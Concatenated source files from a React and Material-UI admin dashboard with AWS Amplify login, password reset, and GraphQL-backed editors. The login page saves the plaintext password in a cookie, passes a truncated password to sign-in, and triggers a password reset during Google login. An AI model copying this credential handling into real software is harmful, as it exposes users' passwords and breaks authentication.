}
},
drawerPaper: {
width: drawerWidth,
backgroundColor: theme.palette.blueGrey['800'],
color: theme.palette.common.white
},
toolbar: theme.mixins.toolbar,
profile: {
minHeight: 200,
textAlign: 'center',
paddingTop: theme.spacing(3),
paddingBottom: theme.spacing(1)
// background: theme.palette.blueGrey['600']
},
avatar: {
width: 120,
height: 120,
boxShadow: `0 0 0 2px ${theme.palette.background.paper}`
},
userName: {
marginTop: theme.spacing(1),
color: theme.palette.common.white
},
userRole: {
color: theme.palette.common.white
},
separator: {
background: theme.palette.common.white,
height: 2,
marginLeft: theme.spacing(2),
marginRight: theme.spacing(2)
},
menus: {
width: '100%',
marginTop: 3
},
actionList: {
width: '100%',
position: 'absolute',
bottom: theme.spacing(2)
},
listItemIcons: {
display: 'flex',
justifyContent: 'center'
},
listItems: {
color: theme.palette.common.white,
paddingTop: 1,
paddingBottom: 1
},
listItemIcon: {
fontSize: '0.9rem',
color: theme.palette.blueGrey['100']
},
listItemIconSelcted: {
color: theme.palette.common.white
},
listItemText: {
fontSize: '0.9rem',
color: theme.palette.blueGrey['100']
},
listItemTextSelcted: {
color: theme.palette.common.white
}
}));
export default useStyles;
<file_sep>/src/pages/Topology/style.js
import { makeStyles } from '@material-ui/core/styles';
const useStyles = makeStyles((theme) => ({
root: {
display: 'flex'
},
mainOpen: {
marginLeft: 270,
width: 'calc(100vw - 510px)'
},
mainClose: {
marginLeft: 30,
width: 'calc(100vw - 270px)'
}
}));
export default useStyles;
<file_sep>/src/pages/Topology/TreeView/style.js
import { makeStyles } from '@material-ui/core/styles';
const drawerWidth = 270;
const useStyles = makeStyles((theme) => ({
root: {
flex: 1,
position: 'fixed',
height: 'calc(100vh - 64px)'
},
open: {
width: drawerWidth
},
close: {
width: 30
},
collapseBtn: {
color: theme.palette.blueGrey['200'],
background: theme.palette.blueGrey['50'],
border: `1px solid ${theme.palette.blueGrey['200']}`,
position: 'absolute',
bottom: 50,
'&:hover': {
color: theme.palette.common.white,
background: theme.palette.blueGrey['300']
}
},
openBtn: {
left: 255
},
closeBtn: {
left: 15
},
actionBtn: {
color: theme.palette.blueGrey['500'],
'& svg': {
strokeWidth: '2em'
}
},
main: {
padding: theme.spacing(1)
},
toolbar: {
color: theme.palette.blueGrey['500']
},
separator: {
marginTop: 3,
background: theme.palette.blueGrey['500'],
height: 2
},
searchBar: {
padding: theme.spacing(1)
},
treeView: {
padding: theme.spacing(1),
color: theme.palette.blueGrey['800']
}
}));
export default useStyles;
<file_sep>/src/pages/Admin/CreateUser/style.js
import { makeStyles } from '@material-ui/core/styles';
const useStyles = makeStyles((theme) => ({
dialog: {},
dialogTitle: {
color: theme.palette.blueGrey['700'],
paddingBottom: theme.spacing(0)
},
createInput: {
width: '100%',
marginBottom: 5
},
dialogAddBtn: {
color: theme.palette.blueGrey['700']
}
}));
export default useStyles;
<file_sep>/src/pages/Dashboard/index.js
import React from 'react';
const DashboardContainer = () => {
return <></>;
};
export default DashboardContainer;
<file_sep>/src/components/PDFReader/style.js
import { makeStyles } from '@material-ui/core/styles';
const useStyles = makeStyles((thtme) => ({
root: {
flex: 1,
overflowX: 'hidden',
maxHeight: 250
},
content: {}
}));
export default useStyles;
<file_sep>/src/pages/Admin/CreateUser/index.js
import React, { useEffect, useState } from 'react';
import {
Dialog,
DialogContent,
DialogActions,
TextField,
DialogTitle,
Button
} from '@material-ui/core';
import { useInput } from '@app/utils/hooks/form';
import useStyles from './style';
const CreateUserDialog = ({ open, type, onChange }) => {
const classes = useStyles();
const [title, setTitle] = useState('');
const {
value: name,
setValue: setName,
reset: resetName,
bind: bindName
} = useInput('');
const {
value: firstName,
reset: resetFirstName,
setValue: setFirstName,
bind: bindFirstName
} = useInput('');
const {
value: lastName,
reset: resetLastName,
setValue: setLastName,
bind: bindLastName
} = useInput('');
const {
value: phone,
reset: resetPhone,
setValue: setPhone,
bind: bindPhone
} = useInput('');
const {
value: email,
reset: resetEmail,
setValue: setEmail,
bind: bindEmail
} = useInput('');
useEffect(() => {
resetName();
resetFirstName();
resetLastName();
resetPhone();
resetEmail();
}, [open]);
useEffect(() => {
if (type === 'sysAdmin') return setTitle('System Admin');
if (type === 'stationAdmin') return setTitle('Station Admin');
if (type === 'districtAdmin') return setTitle('District Admin');
if (type === 'schoolAdmin') return setTitle('School Admin');
}, [type]);
const handleClose = () => {
onChange(false);
};
const handleChange = () => {
onChange(true, {
name,
firstName,
lastName,
email,
phone
});
};
return (
<Dialog maxWidth="xs" onClose={handleClose} open={open}>
<DialogTitle className={classes.dialogTitle} onClose={handleClose}>
Add {title}
</DialogTitle>
<DialogContent>
<TextField
label="User name"
className={classes.createInput}
onChange={(e) => setName(e.target.value)}
{...bindName}
/>
<TextField
label="<NAME>"
className={classes.createInput}
onChange={(e) => setFirstName(e.target.value)}
{...bindFirstName}
/>
<TextField
label="Last name"
className={classes.createInput}
onChange={(e) => setLastName(e.target.value)}
{...bindLastName}
/>
<TextField
label="Email"
className={classes.createInput}
onChange={(e) => setEmail(e.target.value)}
{...bindEmail}
/>
<TextField
label="Phone"
className={classes.createInput}
onChange={(e) => setPhone(e.target.value)}
{...bindPhone}
/>
</DialogContent>
<DialogActions>
<Button autoFocus onClick={handleChange} color="primary">
Add {title}
</Button>
<Button
autoFocus
onClick={handleClose}
className={classes.dialogAddBtn}
>
Close
</Button>
</DialogActions>
</Dialog>
);
};
export default CreateUserDialog;
<file_sep>/src/pages/Admin/EditUser/style.js
import { makeStyles } from '@material-ui/core/styles';
const useStyles = makeStyles((theme) => ({
dialogPaper: {
minHeight: '100vh',
maxHeight: '100vh',
position: 'absolute',
right: 0,
margin: 0,
borderRadius: 0
},
inputArea: {
width: '100%',
marginBottom: theme.spacing(2),
'&:hover + $buttonPos': {
display: 'block'
}
},
validError: {
color: 'red',
marginBottom: '16px'
},
containInputField: {
position: 'relative',
width: '100%'
},
buttonPos: {
position: 'absolute',
top: 0,
right: '10px',
display: 'none',
'&:hover': {
display: 'block'
}
}
}));
export default useStyles;
<file_sep>/src/pages/Topology/District/Preview.js
import React, { useState, useEffect } from 'react';
import { useMutation } from '@apollo/client';
import {
Box,
Slide,
Button,
Dialog,
Divider,
TextField,
Typography,
DialogTitle,
DialogContent,
TextareaAutosize,
CircularProgress
} from '@material-ui/core';
import { useFormChangeValidator } from '@app/utils/hooks/form';
import graphql from '@app/graphql';
import useStyles from './style';
const PreviewDistrict = ({ open, resources, onChange }) => {
const classes = useStyles();
const [loading, setLoading] = useState(false);
const [loadedData, setLoadedData] = useState({});
const { isChanged, setInitialValue, setLastValue } = useFormChangeValidator(
resources,
loadedData
);
const [updateGrouping] = useMutation(graphql.mutations.updateGrouping, {
update(cache, { data: { updateGrouping } }) {
const existData = cache.readQuery({
query: graphql.queries.grouping,
variables: {
schemaType: 'district'
}
});
let tmp = existData.grouping.slice();
const idx = tmp.findIndex((el) => el['_id'] === updateGrouping['_id']);
if (idx > -1) {
tmp[idx] = updateGrouping;
}
cache.writeQuery({
query: graphql.queries.grouping,
variables: {
schemaType: 'district'
},
data: {
grouping: tmp
}
});
}
});
useEffect(() => {
if (resources) {
const tmp = {
name: resources.name,
title: resources.desc?.title,
short: resources.desc?.short,
long: resources.desc?.long
};
setLoadedData(tmp);
setInitialValue(tmp);
}
}, [resources, open]);
const handleInputChange = (type, value) => {
setLoadedData({
...loadedData,
[type]: value
});
setLastValue({
...loadedData,
[type]: value
});
};
const handleSubmit = async () => {
try {
setLoading(true);
await updateGrouping({
variables: {
id: resources['_id'],
version: resources.version,
schemaType: resources.schemaType,
schemaVer: resources.schemaVer,
name: loadedData.name,
desc: {
title: loadedData.title,
short: loadedData.short,
long: loadedData.long
}
}
});
setLoading(false);
} catch (error) {
setLoading(false);
console.log(error.message);
}
};
return (
<Dialog
onClose={() => onChange(false)}
aria-labelledby="customize-user-dialog-title"
open={open}
maxWidth="md"
classes={{ paper: classes.dialogPaper }}
TransitionComponent={Slide}
TransitionProps={{
direction: 'left'
}}
>
<DialogTitle
id="customize-user-dialog-title"
onClose={() => onChange(false)}
>
<Box display="flex" justifyContent="space-between" alignItems="center">
<Typography variant="h6">Preview {resources?.name}</Typography>
<Box position="relative">
<Button
variant="contained"
className={classes.buttonSuccess}
onClick={handleSubmit}
disabled={!isChanged || loading}
>
Submit
</Button>
{loading && (
<CircularProgress size={24} className={classes.buttonProgress} />
)}
</Box>
</Box>
<Divider className={classes.separator} />
</DialogTitle>
<DialogContent>
<TextField
size="small"
label="District name"
variant="outlined"
className={classes.inputArea}
value={loadedData.name}
onChange={(e) => handleInputChange('name', e.target.value)}
/>
<TextField
size="small"
label="Title"
variant="outlined"
className={classes.inputArea}
value={loadedData.title}
onChange={(e) => handleInputChange('title', e.target.value)}
/>
<TextareaAutosize
placeholder="Short Description"
className={classes.textArea}
rowsMin={3}
rowsMax={5}
value={loadedData.short}
onChange={(e) => handleInputChange('short', e.target.value)}
/>
<TextareaAutosize
className={classes.textArea}
placeholder="Long Description"
rowsMin={5}
rowsMax={8}
value={loadedData.long}
onChange={(e) => handleInputChange('long', e.target.value)}
/>
</DialogContent>
</Dialog>
);
};
export default PreviewDistrict;
<file_sep>/src/components/Forms/HTMLEditor/index.js
import React, { useState, useEffect, useRef } from 'react';
import { Box } from '@material-ui/core';
import { Editor } from 'react-draft-wysiwyg';
import {
EditorState,
convertFromRaw,
convertToRaw,
AtomicBlockUtils
} from 'draft-js';
import toolbarData from './editor.config';
import useStyles from './style';
import './style.css';
import 'react-draft-wysiwyg/dist/react-draft-wysiwyg.css';
const HTMLEditor = ({ onChange }) => {
const classes = useStyles();
const editorRef = useRef(null);
const [editorState, setEditorState] = useState();
const handleEditorStateChange = (value) => {
setEditorState(value);
const currentContent = convertToRaw(value.getCurrentContent());
// onChange(currentContent);
};
return (
<Box className={classes.root}>
<Editor
toolbar={toolbarData}
ref={editorRef}
editorState={editorState}
toolbarClassName={classes.toolbarArea}
wrapperClassName={classes.wrapperArea}
editorClassName={classes.editorArea}
onEditorStateChange={handleEditorStateChange}
/>
</Box>
);
};
export default HTMLEditor;
<file_sep>/src/providers/index.js
export { AppStateProvider, useAppStateContext } from './state-provider';
<file_sep>/src/components/Cards/Loading/index.js
import React from 'react';
import PropTypes from 'prop-types';
import { Box, Card } from '@material-ui/core';
import Skeleton from '@material-ui/lab/Skeleton';
import LinearProgressWithLabel from './Progress';
import useStyles from './style';
LinearProgressWithLabel.propTypes = {
/**
* The value of the progress indicator for the determinate and buffer variants.
* Value between 0 and 100.
*/
value: PropTypes.number.isRequired
};
const LoadingCard = ({
loading,
height,
children,
percentage,
isShadow,
isProgress,
...rest
}) => {
const classes = useStyles();
return (
<Box component={isShadow ? Card : 'div'} className={classes.root} {...rest}>
{loading && isProgress && (
<LinearProgressWithLabel
value={percentage}
className={classes.loading}
/>
)}
<main>
{loading ? (
<Box className={classes.skeleton}>
<Skeleton variant="rect" width={'100%'} height={height} />
</Box>
) : (
children
)}
</main>
</Box>
);
};
export default LoadingCard;
<file_sep>/src/pages/Package/Table.js
import React, { useEffect, useState } from 'react';
import {
Box,
Table,
TableBody,
TableCell,
TableContainer,
TableHead,
TableRow,
TableSortLabel,
TablePagination
} from '@material-ui/core';
import useStyles from './style';
const ResourceTable = ({ dense, resources, onChange }) => {
const classes = useStyles();
const [rows, setRows] = useState([]);
const [page, setPage] = useState(0);
const [rowsPerPage, setRowsPerPage] = useState(10);
const getColumns = (dense) => {
if (dense) {
return [
{ id: 'name', label: 'Name', minWidth: 200 },
{ id: 'createdAt', label: 'CreatedAt', minWidth: 200 }
];
} else {
return [
{ id: 'name', label: 'Name', minWidth: 200 },
{ id: 'createdAt', label: 'CreatedAt', minWidth: 200 },
{
id: 'version',
label: 'Version',
minWidth: 100,
align: 'center'
},
{
id: 'status',
label: 'Status',
minWidth: 100,
align: 'center'
}
];
}
};
useEffect(() => {
if (resources) {
const tmp = resources.map((el) => ({
id: el['_id'],
name: el.name,
createdAt: el.createdAt,
updatedAt: el.updatedAt,
version: el.version,
schemaType: el.schemaType,
status: el.status,
childrenIdList: el.childrenIdList,
parentId: el.parentId
}));
setRows(tmp);
setPage(0);
}
}, [resources]);
const handleChangePage = (event, newPage) => {
setPage(newPage);
};
const handleChangeRowsPerPage = (event) => {
setRowsPerPage(+event.target.value);
setPage(0);
};
return (
<Box className={classes.table}>
<TableContainer className={classes.container}>
<Table stickyHeader aria-label="sticky table">
<TableHead>
<TableRow>
{getColumns(dense).map((column) => (
<TableCell
key={column.id}
align={column.align}
style={{ minWidth: column.minWidth }}
>
{column.label}
</TableCell>
))}
</TableRow>
</TableHead>
<TableBody>
{rows
.slice(page * rowsPerPage, page * rowsPerPage + rowsPerPage)
.map((row) => (
<TableRow
hover
role="checkbox"
tabIndex={-1}
key={row.id}
onClick={() => onChange(row)}
>
{getColumns(dense).map((column) => {
const value = row[column.id];
return (
<TableCell key={column.id} align={column.align}>
{column.format && typeof value === 'number'
? column.format(value)
: value}
</TableCell>
);
})}
</TableRow>
))}
</TableBody>
</Table>
</TableContainer>
<TablePagination
className={classes.pagination}
rowsPerPageOptions={[5, 10, 25, 50]}
component="div"
count={rows.length}
rowsPerPage={rowsPerPage}
page={page}
onChangePage={handleChangePage}
onChangeRowsPerPage={handleChangeRowsPerPage}
/>
</Box>
);
};
export default ResourceTable;
<file_sep>/src/pages/Gallery/index.js
import React, { useState } from 'react';
import { withRouter } from 'react-router-dom';
import {
Box,
Paper,
AppBar,
Tab,
Button,
Typography,
InputBase,
IconButton
} from '@material-ui/core';
import {
Search as SearchIcon,
ArrowBack as BackIcon,
DeleteOutline as DeleteIcon
} from '@material-ui/icons';
import { Img } from 'react-image';
import { useSnackbar } from 'notistack';
import { TabContext, TabList, TabPanel } from '@material-ui/lab';
import { faPhotoVideo } from '@fortawesome/free-solid-svg-icons';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import useStyles from './style';
const GalleryContainer = () => {
const classes = useStyles();
const [value, setValue] = useState('1');
const handleChange = (event, newValue) => {
setValue(newValue);
};
return (
<Box className={classes.root}>
<Box className={classes.header}>
<Box component={Typography} variant="h5" className={classes.title}>
<FontAwesomeIcon icon={faPhotoVideo} />
Galleries
</Box>
<Box component={Paper} className={classes.search}>
<InputBase
className={classes.input}
// onChange={handleSearchChange}
placeholder="Search asset... ... "
inputProps={{ 'aria-label': 'search google maps' }}
/>
<IconButton
type="submit"
className={classes.iconButton}
aria-label="search"
>
<SearchIcon />
</IconButton>
</Box>
<Button variant="contained" className={classes.addButton}>
Add New Gallery
</Button>
</Box>
<Box className={classes.main}>
<Box className={classes.mainSidebar}></Box>
<Box component={Paper} className={classes.mainContent}></Box>
</Box>
</Box>
);
};
export default withRouter(GalleryContainer);
<file_sep>/src/layouts/dashboard-layout.js
import React from 'react';
import PropTypes from 'prop-types';
import { CssBaseline, Fab } from '@material-ui/core';
import { KeyboardArrowUp as KeyboardArrowUpIcon } from '@material-ui/icons';
import { AppNavbar, AppSidebar } from '@app/components/App';
import { ScrollTop } from '@app/components/ScrollButton';
import useStyles from './style';
const DashboardLayout = ({ window, children }) => {
const classes = useStyles();
const [mobileOpen, setMobileOpen] = React.useState(false);
const handleDrawerToggle = () => {
setMobileOpen(!mobileOpen);
};
return (
<div className={classes.root}>
<CssBaseline />
<AppNavbar onChange={handleDrawerToggle} />
<AppSidebar
mobileOpen={mobileOpen}
onChange={handleDrawerToggle}
{...window}
/>
<main className={classes.content}>
<div className={classes.toolbar} id="back-to-top-anchor" />
{children}
</main>
<ScrollTop window={window} children={children}>
<Fab color="primary" size="small" aria-label="scroll back to top">
<KeyboardArrowUpIcon />
</Fab>
</ScrollTop>
</div>
);
};
DashboardLayout.propTypes = {
children: PropTypes.element.isRequired,
window: PropTypes.func
};
export default DashboardLayout;
<file_sep>/src/components/Cards/Default/index.js
import React from 'react';
import clsx from 'clsx';
import { Card } from '@material-ui/core';
import useStyles from './style';
const DefaultCard = ({ style, children, ...rest }) => {
const classes = useStyles();
return (
<Card className={classes.root} {...rest}>
<main
className={clsx({
[classes.content]: !style,
[style]: style
})}
>
{children}
</main>
</Card>
);
};
export default DefaultCard;
<file_sep>/src/components/App/Sidebar/index.js
import React from 'react';
import { Box, Drawer, Hidden } from '@material-ui/core';
import AppDrawer from './Drawer';
import useStyles from './style';
const AppSidebar = ({ mobileOpen, onChange, window }) => {
const classes = useStyles();
const container =
window !== undefined ? () => window().document.body : undefined;
return (
<nav className={classes.drawer} aria-label="mailbox folders">
<Hidden smUp implementation="css">
<Drawer
container={container}
variant="temporary"
open={mobileOpen}
onClose={() => onChange()}
classes={{
paper: classes.drawerPaper
}}
ModalProps={{
keepMounted: true // Better open performance on mobile.
}}
>
<AppDrawer />
</Drawer>
</Hidden>
<Hidden xsDown implementation="css">
<Drawer
classes={{
paper: classes.drawerPaper
}}
variant="permanent"
open
>
<AppDrawer />
</Drawer>
</Hidden>
</nav>
);
};
export default AppSidebar;
<file_sep>/src/pages/Topology/Station/Create.js
import React, { useEffect, useState } from 'react';
import {
Dialog,
DialogContent,
DialogActions,
TextField,
DialogTitle,
TextareaAutosize,
Button
} from '@material-ui/core';
import { useInput } from '@app/utils/hooks/form';
import useStyles from './style';
const CreateStation = ({ open, onChange }) => {
const classes = useStyles();
const {
value: name,
setValue: setName,
reset: resetName,
bind: bindName
} = useInput('');
const {
value: title,
setValue: setTitle,
reset: resetTitle,
bind: bindTitle
} = useInput('');
const {
value: short,
reset: resetShort,
setValue: setShort,
bind: bindShort
} = useInput('');
const {
value: long,
reset: resetLong,
setValue: setLong,
bind: bindLong
} = useInput('');
useEffect(() => {
resetName();
resetTitle();
resetShort();
resetLong();
}, [open]);
const handleClose = () => {
onChange(false);
};
const handleChange = () => {
onChange(true, {
name,
title,
short,
long
});
};
return (
<Dialog maxWidth="xs" onClose={handleClose} open={open}>
<DialogTitle className={classes.dialogTitle} onClose={handleClose}>
Create Station
</DialogTitle>
<DialogContent>
<TextField
size="small"
label="Station name"
variant="outlined"
className={classes.inputArea}
onChange={(e) => setName(e.target.value)}
{...bindName}
/>
<TextField
size="small"
label="Title"
variant="outlined"
className={classes.inputArea}
onChange={(e) => setTitle(e.target.value)}
{...bindTitle}
/>
<TextareaAutosize
placeholder="Short Description"
className={classes.textArea}
rowsMin={2}
rowsMax={5}
onChange={(e) => setShort(e.target.value)}
{...bindShort}
/>
<TextareaAutosize
className={classes.textArea}
placeholder="Long Description"
onChange={(e) => setLong(e.target.value)}
rowsMin={4}
rowsMax={8}
{...bindLong}
/>
</DialogContent>
<DialogActions>
<Button autoFocus onClick={handleChange} color="primary">
Submit
</Button>
<Button
autoFocus
onClick={handleClose}
className={classes.dialogAddBtn}
>
Close
</Button>
</DialogActions>
</Dialog>
);
};
export default CreateStation;
<file_sep>/src/components/Forms/Avatar/index.js
import React, { useState, useEffect } from 'react';
import { DropzoneArea } from 'material-ui-dropzone';
import { Box, LinearProgress, Button } from '@material-ui/core';
import { Img } from 'react-image';
import { useSnackbar } from 'notistack';
import { getBase64 } from '@app/utils/file';
import { genSignedUrl, avatarUpload } from '@app/api';
import useStyles from './style';
import './style.css';
const AvatarForm = ({ docId, resources, acceptedFiles, onChange }) => {
const classes = useStyles();
const [loading, setLoading] = useState(false);
const [loadedData, setLoadedData] = useState('');
const { enqueueSnackbar } = useSnackbar();
useEffect(() => {
if (resources) {
setLoadedData(resources);
}
}, [resources]);
const handleChange = async (files) => {
try {
if (files.length > 0) {
setLoading(true);
const base64string = await getBase64(files[0]);
setLoadedData(base64string);
const { signedUrl, fileUrl } = await genSignedUrl(files[0], docId);
const { status } = await avatarUpload(signedUrl, files[0]);
if (status === 200) {
onChange(fileUrl);
}
setLoading(false);
}
} catch (error) {
enqueueSnackbar(error.message, { variant: 'error' });
}
};
const handleClose = () => {
setLoadedData('');
onChange('');
};
return (
<Box className={classes.root}>
{loadedData ? (
<Box position="relative">
<Img
src={loadedData}
className={classes.media}
loader={<LinearProgress />}
/>
<Box display="flex" justifyContent="center">
<Button className={classes.changeLogo} onClick={handleClose}>
Change Logo
</Button>
</Box>
</Box>
) : (
<DropzoneArea
dropzoneText={'Drag and Drop a Logo'}
dropzoneClass={classes.dropzone}
dropzoneParagraphClass={classes.dropzoneParagraph}
showPreviewsInDropzone={false}
showPreviews={false}
acceptedFiles={acceptedFiles ? acceptedFiles : ['image/*']}
filesLimit={1}
onChange={handleChange}
/>
)}
</Box>
);
};
export default AvatarForm;
<file_sep>/src/pages/Auth/ForgotPassword/VerificationCode/index.js
import React from 'react';
import { Auth } from 'aws-amplify';
import Button from '@material-ui/core/Button';
import CircularProgress from '@material-ui/core/CircularProgress';
import { Box, TextField, Typography } from '@material-ui/core';
import useStyles from './style';
import { DefaultCard } from '@app/components/Cards';
import { useInput } from '@app/utils/hooks/form';
import { useSnackbar } from 'notistack';
import Config from '@app/Config';
const VerificationCode = ({ email, handle }) => {
const classes = useStyles();
const [loading, setLoading] = React.useState(false);
const { enqueueSnackbar } = useSnackbar();
const { value: vcode, bind: bindVCode } = useInput('');
const handleSubmit = async (e) => {
try {
e.preventDefault();
setLoading(true);
Auth.forgotPasswordSubmit(email, vcode, Config.aws.aws_user_pools_id)
.then((data) => {
handle(Config.aws.aws_user_pools_id);
})
.catch((error) => {
// Toast('Error!!', error.message, 'danger');
enqueueSnackbar(error.message, { variant: 'error' });
setLoading(false);
});
} catch (error) {
//Toast('Error!!', error.message, 'danger');
enqueueSnackbar(error.message, { variant: 'error' });
setLoading(false);
}
};
return (
<Box className={classes.root}>
<DefaultCard>
<Box className={classes.form}>
<Typography className={classes.title} variant="h6">
Verification Code Here
</Typography>
<TextField
className={classes.textfield}
label="Verification Code"
type="text"
{...bindVCode}
/>
<Button
variant="contained"
className={classes.actionButton}
size="large"
onClick={handleSubmit}
disabled={loading}
>
{loading && <CircularProgress size={20} className={classes.mr20} />}
Submit
</Button>
</Box>
</DefaultCard>
</Box>
);
};
export default VerificationCode;
<file_sep>/src/pages/Auth/Login/index.js
import { Auth } from 'aws-amplify';
import { useQuery } from '@apollo/client';
import { addMilliseconds } from 'date-fns';
import { useSnackbar } from 'notistack';
import React, { useState, useEffect } from 'react';
import { Cookies } from 'react-cookie';
import GoogleLogin from 'react-google-login';
import { Img } from 'react-image';
import { Link, useHistory } from 'react-router-dom';
import {
Box,
Grid,
Button,
Checkbox,
TextField,
Typography,
CircularProgress,
FormControlLabel
} from '@material-ui/core';
import { DefaultCard } from '@app/components/Cards';
import { useInput } from '@app/utils/hooks/form';
import config from '@app/Config';
import graphql from '@app/graphql';
import useStyles from './style';
const LoginContainer = () => {
const cookies = new Cookies();
const classes = useStyles();
const history = useHistory();
const { enqueueSnackbar } = useSnackbar();
const [loading, setLoading] = useState(false);
const [rememberPassword, setRememberPassword] = useState(false);
const { value: email, setValue: setEmail, bind: bindEmail } = useInput('');
const {
value: password,
setValue: setPassword,
bind: bindPassword
} = useInput('');
const [loadedUsers, setLoadedUsers] = useState([]);
const [user, setUser] = useState();
const [other, setOther] = useState();
const {
loading: educatorLoading,
error: educatorError,
data: educatorData
} = useQuery(graphql.queries.grouping, {
variables: {
name: email,
schemaType: 'educator'
},
fetchPolicy: 'cache-and-network',
nextFetchPolicy: 'cache-first'
});
useEffect(() => {
if (!educatorLoading && !educatorError) {
const { grouping } = educatorData;
if (grouping.length) {
setOther(grouping[0]);
setLoadedUsers(grouping);
}
}
}, [educatorLoading, educatorError, educatorData]);
useEffect(() => {
const cookieEmail = cookies.get('email');
const cookiePassword = cookies.get('password');
setEmail(cookieEmail);
setPassword(cookiePassword);
}, []);
const handleSubmit = async (e) => {
try {
e.preventDefault();
setLoading(true);
if (rememberPassword) {
cookies.set('email', email, { path: '/' });
cookies.set('password', password, { path: '/' });
}
const user = await Auth.signIn(email, password.slice(0, -2));
localStorage.setItem('profile', JSON.stringify(user.attributes));
if (other?.schemaType === 'educator' && other?.name === email) {
history.push('/educator');
} else {
history.push('/dashboard');
}
setLoading(false);
} catch (error) {
enqueueSnackbar(error.message, { variant: 'error' });
setLoading(false);
}
};
const handleChechbox = (e) => {
const isChecked = e.target.type === 'checkbox' && !e.target.checked;
setRememberPassword(!isChecked);
};
const responseGoogle = async (response) => {
try {
setLoading(true);
const user = {
name: response.profileObj.name,
email: response.profileObj.email
};
await Auth.forgotPassword(user.email);
let expires_at = addMilliseconds(new Date(), 3600 * 1000).getTime();
await Auth.federatedSignIn(
'google',
{ token: response.tokenId, expires_at },
user
);
history.push('/dashboard');
setLoading(false);
// setUserInfo(loadedUsers, email);
} catch (error) {
if (error.message !== `Cannot read property 'name' of undefined`) {
enqueueSnackbar(error.message, { variant: 'error' });
}
setLoading(false);
}
};
const handlePageChange = () => {
window.open(
'https://sig-emp.atlassian.net/servicedesk/customer/portals',
'_blank'
);
};
return (
<Box className={classes.root}>
<DefaultCard>
<form className={classes.form} autoComplete="on">
<Img
src="https://configs.emp-sig.com/assets/PMEP-Logo.png"
alt="Logo"
/>
<Typography className={classes.title} variant="h6">
Login to your account
</Typography>
<TextField
className={classes.textfield}
label="Email"
id="email"
autoComplete="on"
{...bindEmail}
type="email"
/>
<TextField
className={classes.textfield}
label="Password"
id="password"
type="password"
autoComplete="on"
{...bindPassword}
/>
<Grid container display="flex" justify="space-between">
<FormControlLabel
label="Remember me"
control={
<Checkbox
checked={rememberPassword}
onChange={(event) => handleChechbox(event)}
name="antoine"
/>
}
/>
<Link className={classes.link} to="/forgot-password">
forgot password?
</Link>
</Grid>
<Button
variant="contained"
size="large"
className={classes.loginButton}
onClick={handleSubmit}
disabled={loading}
>
{loading && <CircularProgress size={20} className={classes.mr20} />}
Login to Your Account
</Button>
<GoogleLogin
className={classes.googleLogin}
clientId="798060219259-tconre7aslsq0tamq8b9bt0fg9sansq3.apps.googleusercontent.com"
buttonText="Login with Google"
onSuccess={responseGoogle}
onFailure={responseGoogle}
cookiePolicy={'single_host_origin'}
/>
<Link
className={classes.linktextleft}
rel="noreferrer"
target="_blank"
onClick={handlePageChange}
>
Trouble Logging in? Contact Support.
</Link>
</form>
<Box className={classes.poweredby}>
<Grid item>Powered By </Grid>
<Grid item>
<Img
src={config.auth.bottomLogo}
alt="Bottom Logo"
className={classes.bottomlogo}
></Img>
</Grid>
</Box>
</DefaultCard>
</Box>
);
};
export default LoginContainer;
<file_sep>/src/index.js
/* eslint-disable max-len */
import React from 'react';
import ReactDOM from 'react-dom';
import {
ApolloProvider,
ApolloClient,
InMemoryCache,
HttpLink,
split
} from '@apollo/client';
import { getMainDefinition } from '@apollo/client/utilities';
import { onError } from '@apollo/client/link/error';
import { WebSocketLink } from '@apollo/client/link/ws';
import App from './App';
import appConfig from './Config';
import reportWebVitals from './reportWebVitals';
const httpLink = new HttpLink({
uri: appConfig.apollo.http
});
const wsLink = new WebSocketLink({
uri: appConfig.apollo.ws,
options: {
reconnect: true,
minTimeout: 10000
}
});
const errorLink = onError(({ graphQLErrors, networkError }) => {
console.log(graphQLErrors);
if (graphQLErrors) {
graphQLErrors.forEach(({ message, locations, path }) =>
console.log(
`[GraphQL error]: Message: ${message}, Location: ${locations}, Path: ${path}`
)
);
}
if (networkError) {
console.log(`[Network error]: ${networkError}`);
}
});
const splitLink = split(
({ query }) => {
const definition = getMainDefinition(query);
return (
definition.kind === 'OperationDefinition' &&
definition.operation === 'subscription'
);
},
wsLink,
httpLink
);
const client = new ApolloClient({
link: errorLink.concat(splitLink),
cache: new InMemoryCache(),
resolvers: {}
});
ReactDOM.render(
<ApolloProvider client={client}>
<App />
</ApolloProvider>,
document.getElementById('root')
);
// If you want to start measuring performance in your app, pass a function
// to log results (for example: reportWebVitals(console.log))
// or send to an analytics endpoint. Learn more: https://bit.ly/CRA-vitals
reportWebVitals();
<file_sep>/src/pages/Resource/style.js
import { makeStyles } from '@material-ui/core/styles';
import { lightBlue } from '@material-ui/core/colors';
const useStyles = makeStyles((theme) => ({
root: {
display: 'flex'
},
header: {
position: 'absolute',
width: 'calc(100vw - 220px)',
height: 200,
background: theme.palette.blueGrey['900'],
color: 'white',
display: 'flex',
justifyContent: 'space-between',
padding: theme.spacing(5)
},
title: {
fontWeight: 700
},
search: {
padding: '2px 4px',
display: 'flex',
alignItems: 'center',
width: 400,
height: 40,
borderRadius: 40
},
input: {
marginLeft: theme.spacing(1),
flex: 1
},
iconButton: {
padding: 10
},
addButton: {
height: 40,
borderRadius: 40,
background: lightBlue['300'],
color: theme.palette.blueGrey['900'],
fontWeight: 500,
fontSize: '.75rem',
'&:hover': {
background: lightBlue['400']
}
},
saveButton: {
height: 40,
borderRadius: 40,
background: lightBlue['300'],
color: theme.palette.blueGrey['900'],
fontWeight: 500,
fontSize: '.75rem',
'&:hover': {
background: lightBlue['400']
},
'&:disabled': {
background: theme.palette.blueGrey['300'],
color: theme.palette.common.light
}
},
main: {
height: 'calc(100vh - 215px)',
position: 'relative',
top: 120,
marginLeft: theme.spacing(5),
marginRight: theme.spacing(5),
borderRadius: 20
},
container: {
padding: theme.spacing(1),
width: '100%',
maxHeight: `calc(100vh - 300px)`
},
table: {
minWidth: 750,
padding: theme.spacing(1)
},
pagination: {
display: 'flex',
position: 'absolute',
bottom: 0,
right: 10
},
visuallyHidden: {
border: 0,
clip: 'rect(0 0 0 0)',
height: 1,
margin: -1,
overflow: 'hidden',
padding: 0,
position: 'absolute',
top: 20,
width: 1
},
tableBody: {
height: `calc(100vh - 240px)`
},
tableRow: {
height: 53,
cursor: 'pointer'
},
indicator: {
backgroundColor: theme.palette.blueGrey['700']
},
detailRoot: {
flexGrow: 1
},
detailAppbar: {
padding: '8px 8px 0 8px',
backgroundColor: theme.palette.background.paper,
color: theme.palette.blueGrey['800'],
borderRadius: '20px 20px 0 0'
},
